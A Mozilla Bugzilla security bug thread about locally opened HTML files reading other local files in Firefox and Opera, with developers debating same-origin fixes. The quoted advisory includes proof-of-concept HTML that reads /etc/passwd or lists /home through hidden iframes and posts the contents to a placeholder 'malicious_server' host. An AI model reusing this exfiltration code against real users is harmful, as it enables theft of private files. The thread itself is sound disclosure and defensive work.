Closed Bug 273419 Opened 20 years ago Closed 19 years ago

Disclosure of local file content to locally opened HTML files

Categories

(Core :: Security, defect)

Product:
Core
Component:
Security
Type:
defect
Priority:
Not set
Severity:
major

Tracking

()

Status:
RESOLVED DUPLICATE of bug 230606

People

(Reporter: dveditz, Assigned: dveditz)

References

Details

(Whiteboard: [sg:fix]) 

Summary is the subject of a message on the Full-Disclosure security mailing list
posted by Giovanni Delvecchio (badpenguin at zone-h dot org).
- - - - - - - - - - - -
Disclosure of local file content in Mozilla Firefox and Opera


Note:
I don't know if it could be considered really a security problem, anyway 
i'll try to explain my ideas.
Sorry for my bad english.


Author: Giovanni Delvecchio


Applications affected:

- Firefox 1.0
- Mozilla 1.7
- Opera 7.54 (*)

( maybe also previous versions )


Tested versions:

- Firefox 1.0 on Linux and Windows
- Mozilla 1.7 on Windows
- Opera 7.51,..7.54 on Linux



Note:
The content of the following text could be applied also to other browsers, i 
have checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer.
Microsoft Internet Explorer seems not to be affected.




Description:
===========
A possible problem exist in some browsers where a frame can gain access to 
attributes of another frame or iframe.

An application of this "bug?" could be the possibility to disclose local 
directory structure.

Moreover ther is is a possibility for a remote users to get the content of 
target users's local files.
This can be achieved by using of the method .innerHTML , such method isn't 
standard but
it's supported  from the most broswers like Opera and Mozila Firefox.

With Opera, i have noted that is possible read the content of local file 
just if they have *.htm or *.hml extension.



PoC:
===
The following PoCs are refered to linux versions of Firefox and Opera, but 
they can be applied also to Windows versions.


Read a local file by inner.HTML method:

--------------------------------------------------------
<HTML>

<BODY onLoad="ReadFileContent()" >

<iframe name="local_file" src="file:///etc/passwd" height=0 
width=0></iframe>

<form name="module" method="post" action="http://malicious_server/grab.php" 
ENCTYPE="text/plain">
<input name="content" type="hidden" size="300" >
</form>


<script>

function ReadFileContent(){

alert(local_file.document.all(0).innerHTML);

document.module.content.value+=local_file.document.all(0).innerHTML;
//send content to malicious_server
document.module.submit();
}

</script>

</body>

</html>

(*) it works with Firefox  with Opera it works just a file has .htm or html 
extension.
-----------------------------------------------------------




Enum /home directory structure:
----------------------------------------


<html>

<body onLoad="

  for(i=0;i<local_files.document.links.length;i++)
           
{document.module.content.value+=local_files.document.links.item(i);}
  alert(document.module.content.value);
  //send list_files at malicious_server
  document.module.submit();

              ">


<form name="module" method="post" action="http://malicious_server/grab.php" 
ENCTYPE="text/plain">
<input name="content" type="hidden" size="300" >
</form>


<iframe name="local_files" src="file:///home/" height=0
width=0></iframe>


</body>

</html>
-------------------------------------------




Impact:
======
A malicious server could :

- obtain content of /home/ directory ( or c:\Document and Setting\ for 
windows system  ) and so know a set of usernames present on system target.

- know if a particolar program is installed on target system for a succesive 
attack.

- Read confidential file content

- Read browser's cache
In opera it is located in  ~/.opera/cache4, instead in Mozilla Firefox it's 
in /.mozilla/firefox/$RANDOM-STRING.default/Cache.
Since is possible enum the directory structure , a malicious user could  
easily  know the path to firefox's cache

Anyway it cannot be exploited "directly" by a remote site, but only if the 
page is opened from a local path ( file://localpath/code.htm),  since the  
iframe belongs to a local domain.

Note: with Internet Explorer these PoCs doesn't work even in local.




Possible method of remote exploitation:
================================

Question:
How could a malicious remote user exploit it ?


My idea is the following:

After that the user "victim" has required http://maliciuos_server/page.htm,
if malicious_server responds with a page containing an unknown Content-Type
field ( for example text/html. ,note the dot) ,the browser will show a
dialog window with some options (open, save, cancel). Choosing "Open" to
view this page, it will be downloaded and opened in local ; javascript code
will be executed in local context.
Obviously, if user chooses to save and after open it the result is equal.

(*) For Opera this  method of remote exploitation requires that opera must
be setted as Default Application in "handler for saved files" whether the
user choose "Open" in the dialog window.


Another possible remote exploitation suggest by Lie Die Yu in response to a 
my message on bugtraq
( http://www.securityfocus.com/archive/1/382855/2004-11-30/2004-12-06/0 ) :

"Ask target to open an HTML file in a remote SMBFS folder - expecting
him to mount -t smbfs [...] /mnt/[...] and open "/mnt/[...].html" in Mozilla 
"




Vendor notice
==============
24th November 2004: I have contacted mozilla by security-at-mozilla.org
and Opera by its bug track page at https://bugs.opera.com/wizard/

No response from both at the moment.



Solution
========
- Disable Javascript

Note: I have not checked, but seems that Firefox 1.0 RC1 is not affected.

[dveditz note: this is because document.all was not supported, but the script
can be rewritten using DOM standard document.firstChild]
Whiteboard: [sg:fix]
Group: security
Blocks: sbb?
so.. this is the standard thing about all file:/// uris being considered part of
the same security context.

Jesse has existing bugs on this, as I recall.
Dup of bug 230606?
At least dependent.
Depends on: 230606
*** Bug 273502 has been marked as a duplicate of this bug. ***
The problem is that Mozila use the mime-type for served by http documents but it
does use the extension for opening local files.
Disable the "open with" option if the application is Mozilla itself.
This would move the "who is to blame" around to the user because he has to go
through the OS Filemanager to open it.


> The problem is that Mozila use the mime-type for served by http documents but 
> it does use the extension for opening local files.

I don't understand.

> Disable the "open with" option if the application is Mozilla itself.

That wouldn't help much.  The default application for .html be another web browser.

> This would move the "who is to blame" around to the user because he has to go
> through the OS Filemanager to open it.

I disagree.  I would not blame a user for not knowing that opening an untrusted
local .html is dangerous.  It should not be dangerous -- that's why I filed bug
230606.
A simple workaround would be to act like Internet Explorer SP2. Disallow
scripting and applets in what they call "the local machine" zone.

For instance, if a page on the local computer tries to run a script, display a
dialog box like

------------------Security Warning-----------------
| The file you are trying to view contains active |
| content who could read the contents of files on |
| your computer.                                  |
|                                                 |
| You should only allow this content to run if    |
| trust the author of the file.                   |
|                                                 |
| [ ] Never ask me again.                         |
|                                                 |
|               [Allow]        [Deny]             |
---------------------------------------------------
Blocks: sg-ff101
Internet Explorer SP2 makes it difficult to develop web pages locally, even when
the page is entirely self-contained, because it disables scripts entirely. 
Furthermore, enabling scripts in a local page gives them abilities they should
not have.  It would be better to restrict the same-origin policy for local
files.  If that causes problems for many web developers (I don't think it will),
Firefox can show a warning similar to IE's if the page tries to violate the new
same-origin policy by reading another local file.
Blocks: sbb-, sg-moz176
No longer blocks: sbb?
Flags: blocking1.8b?
Flags: blocking-aviary1.1?
> Anyway it cannot be exploited "directly" by a remote site, but only if the 
> page is opened from a local path

Adding that to summary
Summary: Disclosure of local file content in Mozilla Firefox and Opera → Disclosure of local file content to locally opened HTML files
Flags: blocking1.8b?
Flags: blocking1.8b+
Flags: blocking-aviary1.1?
Flags: blocking-aviary1.1+
Jesse, imo (may or may not be worthy for this bug) this dialog should only show
if someone needs to READ the contents of another local file, via scripting for
example as in this bug, or via an IFRAME (perhaps) etc.

Simply including/changing a <image> or <object> src itself should not have any
blockage on it, if the callee is local system.

/me removes any sense of a developer and notes that he has no experience in
developing security policies just for the record.
Flags: blocking-aviary1.0.1?
fix would need testing on the trunk.  -minus for 1.0.1
Flags: blocking-aviary1.0.1? → blocking-aviary1.0.1-
Mozilla would be free to implement whatever security checks
seemed easy or reasonable if most web developers never
put absolute URLs in their local HTML in the first place.
That would make this bug fix straightforward.

Web developers create local files with absolute URLs mostly
because they need to test form submission out before they
publish their sites.

If Mozilla could submit forms locally when the HTML
is local and URLs are relative, then web developers
could test out their form submission without having to
hack absolute URLs into their locally stored files in
the first place. That is a sanity increase for web developers.

To implement this, have trivial local form-submission support
that just logs the form data to a log file and replies with an
HTTP 204. More completely, add a config option enabling
client-side CGI (bug 68702) through the local ./cgi-bin,
or whatever. Enable it only when the origin is local disk.

- N.
(In reply to comment #9)
> > Anyway it cannot be exploited "directly" by a remote site, but only if the 
> > page is opened from a local path
> 
> Adding that to summary

My target  was explain how a remote user could take advantage by some feature
for read local file, using a Content-Type "spoofing" to trick the user to open
an html page.

I think that this could represent a security/privacy problem for the 80% of users.

In your opinion how many people would choose "Open" when a dialog window is
showed to view an html page? I think at least 80 %  ( and maybe more ;) )

Note that i have made some test with several browsers and just with Mozilla
Firefox and Opera* has been possible have a successful "exploitation".

I think that at least a window with a warning for the user would be usefull.


Best Regards,

Giovanni Delvecchio.
moving blocking status to beta2, assuming this is still on our important to fix
list.
Flags: blocking1.8b+ → blocking1.8b2+
I think we had a big discussion about this somewhere but I can't remember how it
ended.

Seems to me we could make a huge dent in this problem by doing two things:
-- Modify our "Save As" code to emit metadata indicating those HTML files should
be in a sandbox.
-- Detect when content is on a remote filesystem and sandbox it by filesystem.
I don't think roc's solution is the right one.  There are plenty of other ways
for .html files to get on the user's hard drive, including:

* URLs with "content-disposition: attachment" and an .html extension.
* Attachments from e-mail programs other than Thunderbird.
* Files sent over AIM.
* HTML files included in illegal torrents of music CDs.
* Zip archives from the web or from e-mail.

As a result, roc's solution would make our message to users *more* complicated
than it is now.  The current message is "Opening local HTML files is not safe".
 With roc's change, the message will be "Opening local HTML files is not safe,
unless you saved them with Firefox".

In contrast, tightening the same-origin policy for local files would eliminate
the need for this message.  (There could be an information bar if a file
attempts to violate the same-origin policy, with UI to override.)
I think roc's point is a very weak security regime, because
it allows the user or apps that share user files to compromise
Mozilla security merely by specifying the right data. At
least other, equivalent attacks (say on user_prefs.js) can
be locked out by a network admin. Not so for arbitrarily
named files.

I've been doing cross browser DHTML testing lately, and have a renewed
appreciation of how poorly IE supports web developers, including its
information bars for local files. The IE information bar is highly
annoying, but I'm too busy analysing micro-iterations of my page to
ever spend time getting rid of it permanently. So effectively I'm
stuck with it.  I observed this behavior in other web developers too.
My take-away is that we should resist smacking web developers in the
face with bars that they don't want to interact with at all.

I also spent some time trying to shoot comment 12 down. All I managed to do
was see that "local submits" also support automated testing.  The message
that local submits gives to users is "Opening local files is safe" - since
Jesse's info bar will pop up ifany submit target's a remote website.
The message local submits gives to web developers is: "Opening local files
'just works' if you use relative urls". Where's the downside?

- N.
I don't understand the third paragraph of Nigel's comment 17.  Forcing forms in
local pages to "submit locally", whatever that means, wouldn't prevent local
pages from using or communicating information about local files in other ways. 
Fixing the same-origin policy would be easier and would break fewer pages than
trying to prevent local pages from communicating information to the outside world.
(local submit means putting a CGI gateway or similar inside Mozilla)

I'm not suggesting local submits are a security tactic. My suggestion is
about reducing the number of warnings that need to be thrown up IF we
improve security. I'm in favour of enforcing "same origin" with a warning
dialog box or an information bar at all times.

My point is that there's a corner case where we can avoid upsetting
developers and still make users safer. It is when you have:

a) a HTML file on local disk
b) with a form in it
c) that submits to a relative URL.

Here's an example. Try submitting after loading this /tmp/test.html:

<html><body>
<form method="get" action="foo.cgi">...<input type="submit"></form>
</body></html>

Normally this combination throws up an alert if you submit - 'foo.cgi not found'.

Now, if you also create a /tmp/foo.cgi, and then submit again, foo.cgi is
just returned as plain text without being run thru CGI. Web developers know
this, so they replace "foo.cgi" in the page with "http://example.com/foo.cgi",
in order to get real CGI. They change a relative URL to an absolute one
for the sole reason that they would like to test the local copy of their
page.

With same-origin enforced for local disk, that will mean an extra warning for
web developers, ala IE, since the page and the CGI resource are different
origins. That's a security improvement, but no improvement for web developers.
In fact it's worse than what they have today. Nevertheless, I support
adding this extra warning in this case, for the security reasons cited by
this bug.

However, if the original "foo.cgi" actually WAS called as a CGI (local
submit), then the page and submit are happily all in the same origin
(local disk). Web devs wouldn't have to hack in "http://example.com/foo.cgi"
in order to test page submission (because local submit works for relative URLs)
AND they wouldn't get ANY warning dialog, neither old or new. It's a smoother
development experience, with no irritations, and better than today's
arrangements.

With local submits, end-users still have the better protection
afforded by new warnings. If anyone persuades them to save an HTML
document to local disk, and then load it, and then submit its form,
they either get a warning (absolute URL in form = different orgin),
or their data stays local (relative URL in form = local submit).
In the local submit case, effectively nothing happens, which is
safe.

Hope that's clearer. If this suggestion were to be taken up, then
X% of the imaginable test cases for a final fix would cause a warning, and
the other (100-X)% cases would silently cause local submits in order
to support web developers.

- N.

IE's solution is here:

http://msdn.microsoft.com/workshop/author/dhtml/overview/motw.asp

This is the same as the first half of comment #15, and in IE I think
this is a poorly thought-out solution. To break it, just catch a virus
that scans local .htm files and removes this metadata. IE's security is
then blown. If Mozilla relied on metadata, our security would be blown
by that virus as well. Better to have security inside the Mozilla binary.

The idea of "MOTW" is also a piece of Microsoft marketing rhetoric
designed to make the web look unsafe next to Windows. Let's not
participate in that.

- N.

(In reply to comment #20)
> This is the same as the first half of comment #15, and in IE I think
> this is a poorly thought-out solution. To break it, just catch a virus
> that scans local .htm files and removes this metadata.

If there's a virus running on your system, it can already do whatever it wants,
including download and run arbitrary code, so I don't understand why this should
be considerd a vulnerability in the metadata approach.
roc, you're quite right, but should Mozilla be a domino that falls
automatically when the IE domino falls?  I think the metadata
approach is particularly easy for a script kiddie to exploit.

We don't mark the individual resources in other URL schemes with
security info, so why should we make an exception for file: when
same origin can do the job. Is there a use-case that same-origin
doesn't cover?

- N.
(In reply to comment #22)
> roc, you're quite right, but should Mozilla be a domino that falls
> automatically when the IE domino falls?  I think the metadata
> approach is particularly easy for a script kiddie to exploit.

Once an attacker is running arbitrary code on your system, all dominos have
fallen. They could, for example, reconfigure Mozilla (or IE) so that all sites
are fully trusted. It is futile to try to protect the user from the effects of a
full system compromise. [Okay there's still a distinction between "running
arbitrary code as user" and "able to run arbitrary code as root/Administrator"
but that's not in view here.]

> We don't mark the individual resources in other URL schemes with
> security info, so why should we make an exception for file: when
> same origin can do the job. Is there a use-case that same-origin
> doesn't cover?

The problem is that we don't have a reasonable same-origin policy for file: sources.
speculated on a solution in n.p.m.security:

<d3q1r3$1aj2@ripley.netscape.com>

- N.
Dan, It's not clear to me that this is something that we need to, or are likely
to fix for 1.8b3. Please reset the blocking+ flag if it still is.
Flags: blocking1.8b2?
Flags: blocking1.8b2+
Flags: blocking-aviary1.1?
Flags: blocking-aviary1.1+
Flags: blocking1.8b2? → blocking1.8b2-
Flags: blocking-aviary1.1? → blocking1.8b4?
Flags: blocking1.8b4? → blocking1.8b4-

*** This bug has been marked as a duplicate of 230606 ***
Status: NEW → RESOLVED
Closed: 19 years ago
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.